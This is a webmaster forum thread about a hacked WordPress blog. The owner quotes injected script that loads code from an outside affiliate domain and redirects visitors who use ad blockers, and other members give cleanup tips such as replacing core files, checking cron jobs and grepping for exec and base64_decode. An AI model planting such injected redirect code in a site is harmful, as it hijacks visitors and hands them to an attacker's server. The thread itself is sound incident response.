PHP Injection?!?! http://valueaffiliate.net/abp

[Telly]

I discovered a hack on my personal blog that I think might be of interest to all of us. When browsing hawaiipornblog.com with Firefox and adblock turned on I was redirected to http://valueaffiliate.net/abp

It appears that this is some kind of cloaking injection on the index.php:
<script type="text/javascript">var isloaded = false;</script><script type="text/javascript" src="http://valueaffiliate.net/overlay_gateway.php?pub=152855&gateid=MTk4NDkx"></script><script type="text/javascript">if (!isloaded) { window.location = 'http://valueaffiliate.net/abp'; }</script><noscript><meta http-equiv="refresh" content="0;url=http://valueaffiliate.net/java" /></noscript>

Has anyone had a similar problem? I've commented it out but am unsure as to what it's doing other than redirecting adblock traffic. Your help would be appreciated!

Telly

[AzteK]

ugh my antivirus just blocked this

[SASCH]

You using WordPress?

[Telly]

Originally Posted by SASCH

You using WordPress?

Yup I'm on wordpress and am upgraded to the latest version, though I don't know how long that script has been on my site. What I do know is that sales took a dive for the past month so I can only guess it's been since then.

[fris]

Originally Posted by Telly

Yup I'm on wordpress and am upgraded to the latest version, though I don't know how long that script has been on my site. What I do know is that sales took a dive for the past month so I can only guess it's been since then.

download the zip from wordpress.org reupload the files which will replace all the core files. if the problem still is there, have a look at your theme code, mostly functions.php footer.php and header.php

or hit me up if you need help.

[Telly]

Originally Posted by fris

download the zip from wordpress.org reupload the files which will replace all the core files. if the problem still is there, have a look at your theme code, mostly functions.php footer.php and header.php

or hit me up if you need help.

Thank you!

[Mr Pheer]

I'd like to kill the fuckin assholes that do this type of shit.

[Telly]

Originally Posted by Mr Pheer

I'd like to kill the fuckin assholes that do this type of shit.

heh "like"

[scouser]

do a search for things like 'exec' or 'base64_decode'

ie
grep -r 'exec' ./
in ur root dir.

anything that has that and things like base64_decode() is often a hacked script. sometimes searching for file_get_contents or curl() will find stuff too. if it is all grouped together and not clear/tidy code make sure to give it a good look and work out what its doing.

[iSpyCams]

a while back I had an infection and the bastards made a chron job on my server that kept reinstalling it every day. So check your chron jobs too.

[Brujah]

You may also need to clear any cache folders, like supercache, etc..

[seeandsee]

problem is how you got hacked, is it host, is it ftp, is it script...

[vdbucks]

Originally Posted by deadmoon

do a search for things like 'exec' or 'base64_decode'

ie
grep -r 'exec' ./
in ur root dir.

anything that has that and things like base64_decode() is often a hacked script. sometimes searching for file_get_contents or curl() will find stuff too. if it is all grouped together and not clear/tidy code make sure to give it a good look and work out what its doing.

xargs is faster ^^

for example... cd to blog root directory then

find . | xargs grep 'exec'

[fris]

shared hosting sucks for wordpress, because if someone else on the server has an insecure script then they can get access to any site on the shared server.

this is why i always have a decicated and im the only one with access so that way if something happens i can only blame myself.